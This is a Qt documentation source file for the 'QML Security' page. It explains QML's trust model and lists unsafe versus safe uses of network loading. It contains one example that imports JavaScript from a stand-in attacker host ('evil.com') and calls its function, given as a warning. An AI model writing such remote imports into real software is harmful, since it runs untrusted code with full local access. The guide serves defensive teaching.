1 | /****************************************************************************
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2 | **
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3 | ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
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4 | ** All rights reserved.
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5 | ** Contact: Nokia Corporation (qt-info@nokia.com)
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6 | **
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7 | ** This file is part of the documentation of the Qt Toolkit.
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8 | **
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9 | ** $QT_BEGIN_LICENSE:FDL$
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10 | ** Commercial Usage
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11 | ** Licensees holding valid Qt Commercial licenses may use this file in
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12 | ** accordance with the Qt Commercial License Agreement provided with the
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13 | ** Software or, alternatively, in accordance with the terms contained in a
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14 | ** written agreement between you and Nokia.
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15 | **
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16 | ** GNU Free Documentation License
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17 | ** Alternatively, this file may be used under the terms of the GNU Free
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18 | ** Documentation License version 1.3 as published by the Free Software
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19 | ** Foundation and appearing in the file included in the packaging of this
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20 | ** file.
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21 | **
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22 | ** If you have questions regarding the use of this file, please contact
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23 | ** Nokia at qt-info@nokia.com.
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24 | ** $QT_END_LICENSE$
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25 | **
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26 | ****************************************************************************/
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27 |
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28 | /*!
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29 | \page qdeclarativesecurity.html
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30 | \title QML Security
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31 | \section1 QML Security
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32 |
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33 | The QML security model is that QML content is a chain of trusted content: the user
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34 | installs QML content that they trust in the same way as they install native Qt applications,
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35 | or programs written with runtimes such as Python and Perl. That trust is establish by any
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36 | of a number of mechanisms, including the availability of package signing on some platforms.
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37 |
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38 | In order to preserve the trust of users, developers producing QML content should not execute
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39 | arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
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40 |
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41 | For example, this QML content:
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42 |
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43 | \qml
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44 | import "http://evil.com/evil.js" as Evil
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45 | ... Evil.doEvil() ...
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46 | \endqml
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47 |
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48 | is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
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49 | environment of QML does not try to stop any particular accesses, including local file system
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50 | access, just as for any native Qt application, so the "doEvil" function could do the same things
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51 | as a native Qt application, a Python application, a Perl script, etc.
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52 |
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53 | As with any application accessing other content beyond it's control, a QML application should
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54 | perform appropriate checks on untrusted data it loads.
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55 |
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56 | A non-exhaustive list of the ways you could shoot yourself in the foot is:
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57 |
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58 | \list
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59 | \i Using \c import to import QML or JavaScript you do not control. BAD
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60 | \i Using \l Loader to import QML you do not control. BAD
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61 | \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
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62 | \endlist
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63 |
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64 | However, the above does not mean that you have no use for the network transparency of QML.
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65 | There are many good and useful things you \e can do:
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66 |
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67 | \list
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68 | \i Create \l Image elements with source URLs of any online images. GOOD
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69 | \i Use XmlListModel to present online content. GOOD
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70 | \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
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71 | \endlist
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72 |
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73 | The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
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74 | has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
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75 | worry about working around them.
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76 | */
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